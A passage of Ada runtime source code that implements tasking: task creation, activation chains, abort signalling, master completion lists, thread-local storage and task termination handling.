Boolean; begin Enable_Abort; declare Abort_Event : constant access Synchronous_Objects.Event := Tasks.Abort_Event; begin if Abort_Event /= null then Synchronous_Objects.Wait ( Abort_Event.all, Timeout => D, Value => Aborted); else Native_Time.Simple_Delay_For (D); Aborted := Is_Aborted; end if; end; Disable_Abort (Aborted); end Delay_For; -- shared lock Shared_Lock : Synchronous_Objects.Mutex; -- uninitialized procedure Shared_Lock_Enter; procedure Shared_Lock_Enter is begin Synchronous_Objects.Enter (Shared_Lock); end Shared_Lock_Enter; procedure Shared_Lock_Leave; procedure Shared_Lock_Leave is begin Synchronous_Objects.Leave (Shared_Lock); end Shared_Lock_Leave; -- attributes generic type Element_Type is private; type Fixed_Array_Type is array (Natural) of Element_Type; type Array_Access is access all Fixed_Array_Type; package Simple_Vectors is procedure Expand ( Data : in out Array_Access; Length : in out Natural; New_Length : Natural; New_Item : Element_Type); procedure Clear (Data : in out Array_Access; Length : in out Natural); end Simple_Vectors; package body Simple_Vectors is package AA_Conv is new Address_To_Named_Access_Conversions ( Fixed_Array_Type, Array_Access); procedure Expand ( Data : in out Array_Access; Length : in out Natural; New_Length : Natural; New_Item : Element_Type) is begin if New_Length > Length then Data := AA_Conv.To_Pointer ( Standard_Allocators.Reallocate ( AA_Conv.To_Address (Data), Storage_Elements.Storage_Offset (New_Length) * ( Fixed_Array_Type'Component_Size / Standard'Storage_Unit))); for I in Length .. New_Length - 1 loop Data (I) := New_Item; end loop; Length := New_Length; end if; end Expand; procedure Clear (Data : in out Array_Access; Length : in out Natural) is begin Standard_Allocators.Free (AA_Conv.To_Address (Data)); Data := null; Length := 0; end Clear; end Simple_Vectors; package Attribute_Vectors is new Simple_Vectors ( Attribute, Fixed_Attribute_Array, Attribute_Array_Access); procedure Clear_Attributes (Item : Task_Id); procedure Clear_Attributes (Item : Task_Id) is begin for I in 0 .. Item.Attributes_Length - 1 loop declare A : Attribute renames Item.Attributes (I); begin if A.Index /= null then Clear (Item, A.Index.all); end if; end; end loop; Attribute_Vectors.Clear (Item.Attributes, Item.Attributes_Length); end Clear_Attributes; Attribute_Indexes_Lock : Synchronous_Objects.Mutex; -- uninitialized type Fixed_Attribute_Index_Set is array (Natural) of Word_Unsigned; pragma Suppress_Initialization (Fixed_Attribute_Index_Set); type Attribute_Index_Set_Access is access all Fixed_Attribute_Index_Set; Attribute_Indexes : Attribute_Index_Set_Access := null; Attribute_Indexes_Length : Natural := 0; package Attribute_Index_Sets is new Simple_Vectors ( Word_Unsigned, Fixed_Attribute_Index_Set, Attribute_Index_Set_Access); -- task record package Task_Id_Conv is new Address_To_Named_Access_Conversions (Task_Record, Task_Id); procedure Append_To_Completion_List ( Master : Master_Access; Item : Task_Id); procedure Append_To_Completion_List ( Master : Master_Access; Item : Task_Id) is begin Synchronous_Objects.Enter (Master.Mutex); if Master.List = null then -- making a ringed list Item.Previous_At_Same_Level := Item; Item.Next_At_Same_Level := Item; Master.List := Item; else -- append to last Item.Previous_At_Same_Level := Master.List.Previous_At_Same_Level; Item.Previous_At_Same_Level.Next_At_Same_Level := Item; Item.Next_At_Same_Level := Master.List; Item.Next_At_Same_Level.Previous_At_Same_Level := Item; end if; Item.Master_Of_Parent := Master; Synchronous_Objects.Leave (Master.Mutex); end Append_To_Completion_List; procedure Remove_From_Completion_List_No_Sync (Item : Task_Id); procedure Remove_From_Completion_List_No_Sync (Item : Task_Id) is begin if Item = Item.Master_Of_Parent.List then -- first-in, first-out if Item = Item.Next_At_Same_Level then Item.Master_Of_Parent.List := null; goto Cleared; else Item.Master_Of_Parent.List := Item.Next_At_Same_Level; end if; end if; Item.Previous_At_Same_Level.Next_At_Same_Level := Item.Next_At_Same_Level; Item.Next_At_Same_Level.Previous_At_Same_Level := Item.Previous_At_Same_Level; <<Cleared>> Item.Master_Of_Parent := null; Item.Previous_At_Same_Level := null; Item.Next_At_Same_Level := null; end Remove_From_Completion_List_No_Sync; procedure Remove_From_Completion_List (Item : Task_Id); procedure Remove_From_Completion_List (Item : Task_Id) is begin if Item.Master_Of_Parent /= null then declare Mutex_Ref : constant not null access Synchronous_Objects.Mutex := Item.Master_Of_Parent.Mutex'Access; begin Synchronous_Objects.Enter (Mutex_Ref.all); Remove_From_Completion_List_No_Sync (Item); Synchronous_Objects.Leave (Mutex_Ref.all); end; end if; end Remove_From_Completion_List; procedure Free (Item : in out Task_Id); procedure Free (Item : in out Task_Id) is procedure Unchecked_Free is new Ada.Unchecked_Deallocation (String, String_Access); procedure Unchecked_Free is new Ada.Unchecked_Deallocation (Rendezvous_Record, Rendezvous_Access); procedure Unchecked_Free is new Ada.Unchecked_Deallocation (Task_Record, Task_Id); begin -- detach from master Remove_From_Completion_List (Item); -- finalize abort Synchronous_Objects.Finalize (Item.Abort_Event); -- free attributes Clear_Attributes (Item); -- free task record if Item.Rendezvous /= null then Synchronous_Objects.Finalize (Item.Rendezvous.Calling); Synchronous_Objects.Finalize (Item.Rendezvous.Mutex); Unchecked_Free (Item.Rendezvous); end if; Unchecked_Free (Item.Name); Unchecked_Free (Item); end Free; -- thead id TLS_Current_Task_Id : Task_Id := null; pragma Thread_Local_Storage (TLS_Current_Task_Id); Environment_Task_Record : aliased Task_Record (Environment); -- task local storage (secondary stack and exception occurrence) TLS_Data : Runtime_Context.Task_Local_Storage_Access := null; pragma Thread_Local_Storage (TLS_Data); function Get_TLS return not null Runtime_Context.Task_Local_Storage_Access; function Get_TLS return not null Runtime_Context.Task_Local_Storage_Access is begin return TLS_Data; end Get_TLS; -- name Environment_Task_Name : aliased constant String := "*environment"; Null_Name : aliased constant String := ""; -- signal handler procedure Abort_Signal_Handler; procedure Abort_Signal_Handler is T : constant Task_Id := TLS_Current_Task_Id; begin pragma Check (Trace, Ada.Debug.Put (Name (T).all)); T.Aborted := True; if T.Abort_Handler /= null then T.Abort_Handler (T); end if; if T.Kind = Environment then Native_Tasks.Uninstall_Abort_Handler; declare Error : Boolean; -- ignored begin Native_Tasks.Resend_Abort_Signal (T.Handle, Error => Error); end; end if; end Abort_Signal_Handler; -- registration type Registered_State_Type is (Single_Task, Registered, Unregistered); pragma Discard_Names (Registered_State_Type); Registered_State : Registered_State_Type := Single_Task; pragma Atomic (Registered_State); procedure Unregister; procedure Unregister is begin pragma Check (Trace, Ada.Debug.Put ("enter")); -- environment task id if Environment_Task_Record.Master_Top /= null then pragma Assert ( Environment_Task_Record.Master_Top.Within = Library_Task_Level); Leave_Master; pragma Assert (Environment_Task_Record.Master_Top = null); end if; Clear_Attributes (Environment_Task_Record'Access); pragma Assert (Environment_Task_Record.Abort_Locking = 2); TLS_Current_Task_Id := null; -- shared lock Synchronous_Objects.Finalize (Shared_Lock); Shared_Locking.Enter_Hook := Shared_Locking.Nop'Access; Shared_Locking.Leave_Hook := Shared_Locking.Nop'Access; -- yield Synchronous_Control.Yield_Hook := Synchronous_Control.Nop'Access; -- delay statement Native_Time.Delay_For_Hook := Native_Time.Simple_Delay_For'Access; -- attribute indexes Synchronous_Objects.Finalize (Attribute_Indexes_Lock); Attribute_Index_Sets.Clear (Attribute_Indexes, Attribute_Indexes_Length); -- task local storage (secondary stack and exception occurrence) Runtime_Context.Get_Task_Local_Storage_Hook := Runtime_Context.Get_Environment_Task_Local_Storage'Access; -- environment task id Synchronous_Objects.Finalize (Environment_Task_Record.Abort_Event); -- signal handler Native_Tasks.Uninstall_Abort_Handler; -- clear Registered_State := Unregistered; pragma Check (Trace, Ada.Debug.Put ("leave")); end Unregister; procedure Register; procedure Register is begin if Registered_State /= Registered then pragma Check (Trace, Ada.Debug.Put ("enter")); -- still it is single thread Registered_State := Registered; Termination.Register_Exit (Unregister'Access); -- shared lock Synchronous_Objects.Initialize (Shared_Lock); Shared_Locking.Enter_Hook := Shared_Lock_Enter'Access; Shared_Locking.Leave_Hook := Shared_Lock_Leave'Access; -- yield Synchronous_Control.Yield_Hook := Native_Tasks.Yield'Access; -- delay statement Native_Time.Delay_For_Hook := Delay_For'Access; -- attribute indexes Synchronous_Objects.Initialize (Attribute_Indexes_Lock); -- task local storage (secondary stack and exception occurrence) TLS_Data := Runtime_Context.Get_Environment_Task_Local_Storage; Runtime_Context.Get_Task_Local_Storage_Hook := Get_TLS'Access; -- environment task id TLS_Current_Task_Id := Environment_Task_Record'Access; Environment_Task_Record.Handle := Native_Tasks.Current; Environment_Task_Record.Aborted := False; Environment_Task_Record.Abort_Handler := null; Environment_Task_Record.Abort_Locking := 2; Environment_Task_Record.Attributes := null; Environment_Task_Record.Attributes_Length := 0; Environment_Task_Record.Activation_State := AS_Active; Environment_Task_Record.Termination_State := TS_Active; Environment_Task_Record.Master_Level := Environment_Task_Level; Environment_Task_Record.Master_Top := null; -- from Library_Task_Level Synchronous_Objects.Initialize (Environment_Task_Record.Abort_Event); -- signal handler Native_Tasks.Install_Abort_Handler (Abort_Signal_Handler'Access); pragma Check (Trace, Ada.Debug.Put ("leave")); end if; end Register; -- thread body procedure Invoke_Handler ( Cause : Cause_Of_Termination; T : Task_Id; X : Ada.Exceptions.Exception_Occurrence; Handled : out Boolean); procedure Invoke_Handler ( Cause : Cause_Of_Termination; T : Task_Id; X : Ada.Exceptions.Exception_Occurrence; Handled : out Boolean) is begin if T.Specific_Handler /= null then T.Specific_Handler (Cause, T, X); Handled := True; else declare P : Task_Id := T; begin loop P := Parent (P); if P = null then Handled := False; exit; end if; if P.Dependents_Fallback_Handler /= null then P.Dependents_Fallback_Handler (Cause, T, X); Handled := True; exit; end if; end loop; end; end if; end Invoke_Handler; procedure Report ( T : not null Task_Id; X : Ada.Exceptions.Exception_Occurrence); procedure Report ( T : not null Task_Id; X : Ada.Exceptions.Exception_Occurrence) is function Cast is new Ada.Unchecked_Conversion ( Ada.Exceptions.Exception_Occurrence, Unwind.Exception_Occurrence); Name_Prefix : constant String := "Task "; Name : String ( 1 .. Name_Prefix'Length + (if T.Name /= null then T.Name'Length + 1 else 0) + Formatting.Address.Address_String'Length); Name_Last : Natural; begin Name_Last := Name_Prefix'Length; Name (1 .. Name_Last) := Name_Prefix; if T.Name /= null then Name (Name_Last + 1 .. Name_Last + T.Name'Length) := T.Name.all; Name_Last := Name_Last + T.Name'Length + 1; Name (Name_Last) := ':'; end if; Formatting.Address.Image ( Task_Id_Conv.To_Address (T), Name ( Name_Last + 1 .. Name_Last + Formatting.Address.Address_String'Length), Set => Formatting.Upper_Case); Name_Last := Name_Last + Formatting.Address.Address_String'Length; Unwind.Occurrences.Report (Cast (X), Name (1 .. Name_Last)); end Report; -- Native_Tasks.Result_Type is void * in POSIX, or DWORD in Windows. -- Long_Integer is register size in POSIX, and 32bit in Windows. TR_Freed : constant := 0; TR_Not_Freed : constant := 1; function Thread (Rec : Native_Tasks.Parameter_Type) return Native_Tasks.Result_Type with Convention => Thread_Body_CC; function Thread (Rec : Native_Tasks.Parameter_Type) return Native_Tasks.Result_Type is function To_Address is new Ada.Unchecked_Conversion (Native_Tasks.Parameter_Type, Address); function To_Result is new Ada.Unchecked_Conversion (Long_Integer, Native_Tasks.Result_Type); Result : Native_Tasks.Result_Type; SEH : aliased array (1 .. 2) of Integer; Local : aliased Runtime_Context.Task_Local_Storage; T : Task_Id := Task_Id_Conv.To_Pointer (To_Address (Rec)); No_Detached : Boolean; Cause : Cause_Of_Termination; begin TLS_Current_Task_Id := T; -- block abort signal Native_Tasks.Block_Abort_Signal (T.Abort_Event); T.Abort_Locking := 1; -- setup secondary stack Local.Secondary_Stack := Null_Address; Local.Overlaid_Allocation := Null_Address; Local.Machine_Occurrence := null; Local.Triggered_By_Abort := False; TLS_Data := Local'Unchecked_Access; -- setup signal stack Unwind.Mapping.Install_Task_Exception_Handler ( SEH'Address, T.Signal_Stack'Access); -- execute declare procedure On_Exception (T : not null Task_Id); procedure On_Exception (T : not null Task_Id) is Aborted : Boolean; -- ignored begin if T.Activation_State < AS_Active then pragma Check (Trace, Check => Ada.Debug.Put (Name (T).all & " has not been activated")); pragma Assert (T.Abort_Locking = 1); -- an exception was raised until calling Accept_Activation T.Activation_Chain.Error := Any_Exception; Accept_Activation (Aborted => Aborted); end if; end On_Exception; begin if T.Activation_Chain /= null then -- Abort_Undefer will be called on activation T.Abort_Locking := T.Abort_Locking + 1; end if; pragma Check (Trace, Ada.Debug.Put (Name (T).all & " begin")); T.Process (T.Params); pragma Check (Trace, Ada.Debug.Put (Name (T).all & " end")); Cause := Normal; exception when Standard'Abort_Signal => pragma Check (Trace, Check => Ada.Debug.Put (Name (T).all & " Abort_Signal")); -- Abort_Undefer will not be called by compiler if not ZCX_By_Default then T.Abort_Locking := T.Abort_Locking - 1; end if; On_Exception (T); Cause := Abnormal; when E : others => pragma Check (Trace, Ada.Debug.Put (Name (T).all & " exception")); On_Exception (T); declare Handled : Boolean; begin Invoke_Handler (Unhandled_Exception, T, E, Handled); if not Handled then Report (T, E); end if; Cause := Unhandled_Exception; end; end; if Cause /= Unhandled_Exception then declare Handled : Boolean; -- ignored begin Invoke_Handler (Cause, T, Ada.Exceptions.Null_Occurrence, Handled); end; end if; pragma Assert (T.Abort_Locking = 1); -- cancel calling queue Cancel_Calls; -- deactivate and set 'Terminated to False declare Expected : aliased Termination_State := TS_Active; begin No_Detached := atomic_compare_exchange ( T.Termination_State'Access, Expected'Access, TS_Terminated); end; -- free if No_Detached then Result := To_Result (TR_Not_Freed); -- caller or master may wait else -- detached if T.Master_Of_Parent /= null then declare Mutex_Ref : constant not null access Synchronous_Objects.Mutex := T.Master_Of_Parent.Mutex'Access; begin Synchronous_Objects.Enter (Mutex_Ref.all); if T.Auto_Detach then Remove_From_Completion_List_No_Sync (T); declare Error : Boolean; begin Native_Tasks.Detach (T.Handle, Error); -- error should be reported? end; end if; Synchronous_Objects.Leave (Mutex_Ref.all); end; if not T.Auto_Detach then -- master already has been waiting Result := To_Result (TR_Not_Freed); else Free (T); Result := To_Result (TR_Freed); end if; else Free (T); Result := To_Result (TR_Freed); end if; end if; -- cleanup secondary stack Unbounded_Stack_Allocators.Clear (Local.Secondary_Stack); -- return return Result; end Thread; type Execution_Error is (None, Aborted, Elaboration_Error, Done); pragma Discard_Names (Execution_Error); procedure Execute (T : Task_Id; Error : out Execution_Error); procedure Execute (T : Task_Id; Error : out Execution_Error) is function To_Parameter is new Ada.Unchecked_Conversion (Address, Native_Tasks.Parameter_Type); Expected : aliased Activation_State := AS_Suspended; Creation_Error : Boolean; begin if not atomic_compare_exchange ( T.Activation_State'Access, Expected'Access, AS_Created) then Error := Done; elsif T.Aborted then -- aborted before activation Error := Aborted; T.Activation_State := AS_Error; T.Termination_State := TS_Terminated; -- C9A004A else Native_Tasks.Create ( T.Handle, To_Parameter (Task_Id_Conv.To_Address (T)), Thread'Access, Error => Creation_Error); if Creation_Error then Error := Elaboration_Error; T.Activation_State := AS_Error; else Error := None; end if; end if; end Execute; procedure Wait (T : Task_Id; Free_Task_Id : out Task_Id); procedure Wait (T : Task_Id; Free_Task_Id : out Task_Id) is function To_Long_Integer is new Ada.Unchecked_Conversion (Native_Tasks.Result_Type, Long_Integer); Rec : aliased Native_Tasks.Result_Type; Error : Boolean; begin if T.Activation_State = AS_Error then Free_Task_Id := T; else Native_Tasks.Join ( T.Handle, Abort_Event, Rec, Error); if Error then Raise_Exception (Tasking_Error'Identity); end if; if To_Long_Integer (Rec) = TR_Freed then Free_Task_Id := null; else -- Rec = TR_Not_Freed Free_Task_Id := T; end if; end if; end Wait; -- abort procedure Set_Abort_Recursively (T : Task_Id); procedure Set_Abort_Recursively (T : Task_Id) is begin T.Aborted := True; declare M : Master_Access := T.Master_Top; begin while M /= null loop Synchronous_Objects.Enter (M.Mutex); declare L : Task_Id := M.List; begin if L /= null then loop Set_Abort_Recursively (L); L := L.Next_At_Same_Level; exit when L = M.List; end loop; end if; end; Synchronous_Objects.Leave (M.Mutex); M := M.Previous; end loop; end; end Set_Abort_Recursively; procedure Abort_Handler_On_Leave_Master (T : Task_Id); procedure Abort_Handler_On_Leave_Master (T : Task_Id) is M : constant Master_Access := T.Master_Top; Top_Child : Task_Id; Error : Boolean; -- ignored begin -- This is called only from Abort_Signal_Handler while Leave_Master is -- waiting a child task. -- So M.Mutex is unlocked and M.List is a waited task. Top_Child := M.List; Native_Tasks.Send_Abort_Signal ( Top_Child.Handle, Top_Child.Abort_Event, Error); end Abort_Handler_On_Leave_Master; -- activation procedure Remove_From_Merged_Activation_Chain_List ( C : not null Activation_Chain); procedure Remove_From_Merged_Activation_Chain_List ( C : not null Activation_Chain) is Chain : constant access Activation_Chain := C.Self; begin if Chain.all = C then Chain.all := Chain.all.Merged; else declare I : Activation_Chain := Chain.all; begin while I.Merged /= C loop I := I.Merged; end loop; I.Merged := C.Merged; end; end if; end Remove_From_Merged_Activation_Chain_List; procedure Release (C : in out Activation_Chain); procedure Release (C : in out Activation_Chain) is procedure Free (Item : in out Activation_Chain); procedure Free (Item : in out Activation_Chain) is procedure Unchecked_Free is new Ada.Unchecked_Deallocation ( Activation_Chain_Data, Activation_Chain); begin Synchronous_Objects.Finalize (Item.Mutex); Synchronous_Objects.Finalize (Item.Condition_Variable); Unchecked_Free (Item); end Free; begin if atomic_add_fetch (C.Release_Count'Access, 1) > C.Task_Count then Free (C); end if; end Release; procedure Set_Active (T : not null Task_Id; State : Activation_State); procedure Set_Active (T : not null Task_Id; State : Activation_State) is begin if not Elaborated (T) then pragma Check (Trace, Ada.Debug.Put (Name (T).all & " elab error")); T.Activation_Chain.Error := Elaboration_Error; end if; T.Activation_State := State; end Set_Active; procedure Set_Active (C : not null Activation_Chain); procedure Set_Active (C : not null Activation_Chain) is I : Task_Id := C.List; begin while I /= null loop if I.Activation_State < AS_Active then Set_Active (I, AS_Active); end if; I := I.Next_Of_Activation_Chain; end loop; end Set_Active; procedure Activate ( Chain : not null access Activation_Chain; Error : out Activation_Error; Aborted : out Boolean); procedure Activate ( Chain : not null access Activation_Chain; Error : out Activation_Error; Aborted : out Boolean) is C : Activation_Chain := Chain.all; begin Error := None; Aborted := False; while C /= null loop pragma Assert (C.Self = Chain); Synchronous_Objects.Enter (C.Mutex); declare I : Task_Id := C.List; Error_On_Execute : Execution_Error; begin while I /= null loop Execute (I, Error_On_Execute); if Error_On_Execute /= None and then Error_On_Execute /= Done then C.Task_Count := C.Task_Count - 1; if Error_On_Execute = Elaboration_Error then Error := Elaboration_Error; end if; end if; I.Activation_Chain_Living := False; -- will free in here I := I.Next_Of_Activation_Chain; end loop; end; C.Activated_Count := C.Activated_Count + 1; if C.Activated_Count > C.Task_Count then Set_Active (C); Synchronous_Objects.Notify_All (C.Condition_Variable); else loop Synchronous_Objects.Wait (C.Condition_Variable, C.Mutex); Aborted := Is_Aborted; -- is this check worthwhile? exit when C.Activated_Count > C.Task_Count or else Aborted; end loop; end if; Error := Activation_Error'Max (Error, C.Error); Remove_From_Merged_Activation_Chain_List (C); Synchronous_Objects.Leave (C.Mutex); -- cleanup declare Merged : constant Activation_Chain := C.Merged; begin Release (C); C := Merged; end; end loop; end Activate; procedure Activate (T : Task_Id; Error : out Activation_Error); -- This procedure does not free activation chain, -- so it must call above Activate for taking activation chain. procedure Activate (T : Task_Id; Error : out Activation_Error) is Error_On_Execute : Execution_Error; begin Error := None; Execute (T, Error_On_Execute); if Error_On_Execute /= Done then declare C : constant Activation_Chain := T.Activation_Chain; begin Synchronous_Objects.Enter (C.Mutex); if Error_On_Execute /= None then C.Task_Count := C.Task_Count - 1; if Error_On_Execute = Elaboration_Error then Error := Elaboration_Error; end if; else Set_Active (T, AS_Active_Before_Activation); Synchronous_Objects.Notify_All (C.Condition_Variable); end if; Error := Activation_Error'Max (Error, C.Error); Synchronous_Objects.Leave (C.Mutex); end; end if; end Activate; -- completion procedure Free (Item : in out Master_Access); procedure Free (Item : in out Master_Access) is procedure Unchecked_Free is new Ada.Unchecked_Deallocation (Master_Record, Master_Access); begin Synchronous_Objects.Finalize (Item.Mutex); Unchecked_Free (Item); end Free; -- queue package QNA_Conv is new Address_To_Named_Access_Conversions ( Synchronous_Objects.Queue_Node, Synchronous_Objects.Queue_Node_Access); function Uncall_Filter ( The_Node : not null Synchronous_Objects.Queue_Node_Access; Params : Address) return Boolean; function Uncall_Filter ( The_Node : not null Synchronous_Objects.Queue_Node_Access; Params : Address) return Boolean is begin return The_Node = QNA_Conv.To_Pointer (Params); end Uncall_Filter; -- implementation procedure Raise_Abort_Signal is TLS : constant not null Runtime_Context.Task_Local_Storage_Access := Get_TLS; -- Runtime_Context.Get_Task_Local_Storage begin TLS.Triggered_By_Abort := True; raise Standard'Abort_Signal; end Raise_Abort_Signal; procedure When_Abort_Signal is begin if not ZCX_By_Default then Unlock_Abort; end if; end When_Abort_Signal; function Current_Task_Id return Task_Id is begin Register; return TLS_Current_Task_Id; end Current_Task_Id; function Environment_Task_Id return Task_Id is begin Register; return Environment_Task_Record'Access; end Environment_Task_Id; procedure Create ( T : out Task_Id; Params : Address; Process : not null access procedure (Params : Address); Name : String := ""; Chain : Activation_Chain_Access := null; Elaborated : Boolean_Access := null; Master : Master_Access := null; Entry_Last_Index : Task_Entry_Index := 0) is type P is access procedure (Params : Address); function To_Process_Handler is new Ada.Unchecked_Conversion (P, Process_Handler); Name_Data : String_Access := null; Chain_Data : Activation_Chain := null; Level : Master_Level := Library_Task_Level; Rendezvous : Rendezvous_Access := null; Error : Execution_Error; begin Register; -- name if Name'Length /= 0 then Name_Data := new String'(Name); end if; -- activation chain if Chain /= null then Chain_Data := Chain.all; if Chain_Data = null then pragma Check (Trace, Ada.Debug.Put ("new chain")); Chain_Data := new Activation_Chain_Data'( List => null, Task_Count => 0, Activated_Count => 0, Release_Count => 0, Mutex => <>, -- uninitialized Condition_Variable => <>, -- uninitialized Error => None, Merged => null, Self => Chain); Synchronous_Objects.Initialize (Chain_Data.Mutex); Synchronous_Objects.Initialize (Chain_Data.Condition_Variable); Chain.all := Chain_Data; end if; end if; -- master if Master /= null then Level := Master.Within; pragma Assert (Level /= Foreign_Task_Level + 2); -- ??? end if; -- rendezvous if Entry_Last_Index > 0 then Rendezvous := new Rendezvous_Record'( Mutex => <>, -- uninitialized Calling => <>); -- uninitialized Synchronous_Objects.Initialize (Rendezvous.Mutex); Synchronous_Objects.Initialize ( Rendezvous.Calling, Rendezvous.Mutex'Access); end if; -- task record T := new Task_Record'( Kind => Sub, Handle => <>, -- uninitialized Aborted => False, Abort_Handler => null, Abort_Locking => 0, Attributes => null, Attributes_Length => 0, Activation_State => AS_Suspended, -- unexecuted Termination_State => TS_Active, Master_Level => Level, Master_Top => null, Dependents_Fallback_Handler => null, Params => Params, Process => To_Process_Handler (Process), Preferred_Free_Mode => Detach, Name => Name_Data, Activation_Chain => Chain_Data, Next_Of_Activation_Chain => null, Activation_Chain_Living => False, Elaborated => Elaborated, Master_Of_Parent => Master, Previous_At_Same_Level => null, Next_At_Same_Level => null, Auto_Detach => False, Rendezvous => Rendezvous, Specific_Handler => null, Abort_Event => <>, -- uninitialized Signal_Stack => <>); -- uninitialized -- for master if Master /= null then -- append to the parent's master Append_To_Completion_List (Master, T); end if; -- for abort Synchronous_Objects.Initialize (T.Abort_Event); -- for activation if Chain_Data /= null then -- apeend to activation chain pragma Check (Trace, Ada.Debug.Put ("append to the chain")); T.Activation_Chain_Living := True; T.Next_Of_Activation_Chain := Chain_Data.List; Chain_Data.List := T; Chain_Data.Task_Count := Chain_Data.Task_Count + 1; else -- try to create Execute (T, Error); if Error /= None then if Master /= null then Remove_From_Completion_List (T); -- rollback end if; Free (T); -- and remove from parent's master Raise_Exception (Tasking_Error'Identity); else T.Activation_State := AS_Active; end if; end if; end Create; procedure Wait (T : in out Task_Id; Aborted : out Boolean) is begin if T /= null then pragma Assert (T.Kind = Sub); declare T2 : constant Task_Id := T; Free_Task_Id : Task_Id; begin T := null; -- clear before raising any exception Wait (T2, Free_Task_Id); if Free_Task_Id /= null then Free (Free_Task_Id); end if; end; end if; Aborted := Is_Aborted; end Wait; procedure Detach (T : in out Task_Id) is begin if T /= null then pragma Assert (T.Kind = Sub); declare Expected : aliased Termination_State := TS_Active; begin if atomic_compare_exchange ( T.Termination_State'Access, Expected'Access, TS_Detached) then if T.Master_Of_Parent /= null then Synchronous_Objects.Enter (T.Master_Of_Parent.Mutex); T.Auto_Detach := True; Synchronous_Objects.Leave (T.Master_Of_Parent.Mutex); else declare Orig_T : constant Task_Id := T; Error : Boolean; begin T := null; Native_Tasks.Detach (Orig_T.Handle, Error); if Error then Raise_Exception (Tasking_Error'Identity); end if; end; end if; else declare Aborted : Boolean; -- ignored begin Wait (T, Aborted => Aborted); -- release by caller end; end if; end; end if; end Detach; function Terminated (T : Task_Id) return Boolean is begin if T = null then raise Program_Error; -- RM C.7.1(15) elsif Registered_State = Unregistered then -- environment task has been terminated return True; else return T.Termination_State = TS_Terminated; end if; end Terminated; function Activated (T : Task_Id) return Boolean is begin if T = null then raise Program_Error; -- RM C.7.1(15) elsif Registered_State = Unregistered then -- environment task has been terminated return True; else return T.Activation_State in AS_Active_Before_Activation .. AS_Active; end if; end Activated; function Preferred_Free_Mode (T : not null Task_Id) return Free_Mode is begin return T.Preferred_Free_Mode; end Preferred_Free_Mode; procedure Set_Preferred_Free_Mode ( T : not null Task_Id; Mode : Free_Mode) is begin T.Preferred_Free_Mode := Mode; end Set_Preferred_Free_Mode; procedure Get_Stack ( T : not null Task_Id; Addr : out Address; Size : out Storage_Elements.Storage_Count) is Top, Bottom : Address; begin Stack.Get (Native_Tasks.Info_Block (T.Handle), Top => Top, Bottom => Bottom); Addr := Top; Size := Bottom - Top; end Get_Stack; function Name (T : not null Task_Id) return not null access constant String is begin if T.Kind = Environment then return Environment_Task_Name'Access; elsif T.Name = null then return Null_Name'Access; else return T.Name; end if; end Name; procedure Send_Abort (T : not null Task_Id) is Current_Task_Id : constant Task_Id := TLS_Current_Task_Id; Error : Boolean; begin pragma Check (Trace, Check => Ada.Debug.Put ( Name (Current_Task_Id).all & " aborts " & Name (T).all)); if T = Current_Task_Id then Set_Abort_Recursively (T); Raise_Abort_Signal; elsif T.Activation_State = AS_Suspended then T.Aborted := True; else Native_Tasks.Send_Abort_Signal (T.Handle, T.Abort_Event, Error); if Error then Raise_Exception (Tasking_Error'Identity); end if; Set_Abort_Recursively (T); -- set 'Callable to false, C9A009H -- abort myself if parent task is aborted, C9A007A declare P : Task_Id := Current_Task_Id; begin loop P := Parent (P); exit when P = null; if P = T then pragma Assert (Current_Task_Id.Aborted); Raise_Abort_Signal; end if; end loop; end; end if; end Send_Abort; procedure Enable_Abort is T : constant Task_Id := TLS_Current_Task_Id; begin if T /= null then pragma Check (Trace, Check => Ada.Debug.Put ( Name (T).all & Natural'Image (T.Abort_Locking) & " =>" & Natural'Image (T.Abort_Locking - 1))); pragma Assert (T.Abort_Locking > 0); T.Abort_Locking := T.Abort_Locking - 1; if T.Kind = Sub and then T.Abort_Locking = 0 then Native_Tasks.Unblock_Abort_Signal; end if; end if; end Enable_Abort; procedure Disable_Abort (Aborted : Boolean) is T : constant Task_Id := TLS_Current_Task_Id; begin if T /= null then pragma Check (Trace, Check => Ada.Debug.Put ( Name (T).all & Natural'Image (T.Abort_Locking) & " =>" & Natural'Image (T.Abort_Locking + 1))); if T.Kind = Sub and then T.Abort_Locking = 0 then Native_Tasks.Block_Abort_Signal (T.Abort_Event); end if; T.Abort_Locking := T.Abort_Locking + 1; if Aborted then -- Cover the case that the signal is not arrived yet. T.Aborted := True; -- Trigger. if T.Abort_Locking = 1 then Raise_Abort_Signal; end if; end if; end if; end Disable_Abort; procedure Lock_Abort is T : constant Task_Id := Current_Task_Id; -- and register begin pragma Check (Trace, Check => Ada.Debug.Put ( Name (T).all & Natural'Image (T.Abort_Locking) & " =>" & Natural'Image (T.Abort_Locking + 1))); T.Abort_Locking := T.Abort_Locking + 1; end Lock_Abort; procedure Unlock_Abort is T : constant Task_Id := TLS_Current_Task_Id; begin pragma Check (Trace, Check => Ada.Debug.Put ( Name (T).all & Natural'Image (T.Abort_Locking) & " =>" & Natural'Image (T.Abort_Locking - 1))); T.Abort_Locking := T.Abort_Locking - 1; end Unlock_Abort; function Is_Aborted return Boolean is T : constant Task_Id := TLS_Current_Task_Id; begin return T /= null and then T.Aborted; end Is_Aborted; function Abort_Event return access Synchronous_Objects.Event is T : constant Task_Id := TLS_Current_Task_Id; begin if T /= null and then Registered_State = Registered then return T.Abort_Event'Access; else return null; end if; end Abort_Event; function Elaborated (T : not null Task_Id) return Boolean is begin return T.Elaborated = null or else T.Elaborated.all; end Elaborated; procedure Accept_Activation (Aborted : out Boolean) is T : constant Task_Id := TLS_Current_Task_Id; C : Activation_Chain := T.Activation_Chain; begin pragma Assert (C /= null); Synchronous_Objects.Enter (C.Mutex); Aborted := T.Aborted; C.Activated_Count := C.Activated_Count + 1; if C.Activated_Count > C.Task_Count then Set_Active (C); Synchronous_Objects.Notify_All (C.Condition_Variable); else while T.Activation_State <= AS_Created and then not Aborted loop Synchronous_Objects.Wait (C.Condition_Variable, C.Mutex); Aborted := T.Aborted; -- is this check worthwhile? end loop; end if; -- elaboration error shold be delivered, but other exceptions should not Aborted := Aborted or else C.Error = Elaboration_Error; Synchronous_Objects.Leave (C.Mutex); -- cleanup Release (C); pragma Check (Trace, Check => Ada.Debug.Put ( Name (T).all & " aborted = " & Boolean'Image (Aborted))); end Accept_Activation; procedure Activate ( Chain : not null Activation_Chain_Access; Aborted : out Boolean) is Error : Activation_Error; begin pragma Check (Trace, Ada.Debug.Put ("enter")); Activate (Chain, Error, Aborted => Aborted); case Error is when None => null; when Elaboration_Error => raise Program_Error; -- C39008A, RM 3.11(14) when Any_Exception => Raise_Exception (Tasking_Error'Identity); -- C93004A end case; pragma Check (Trace, 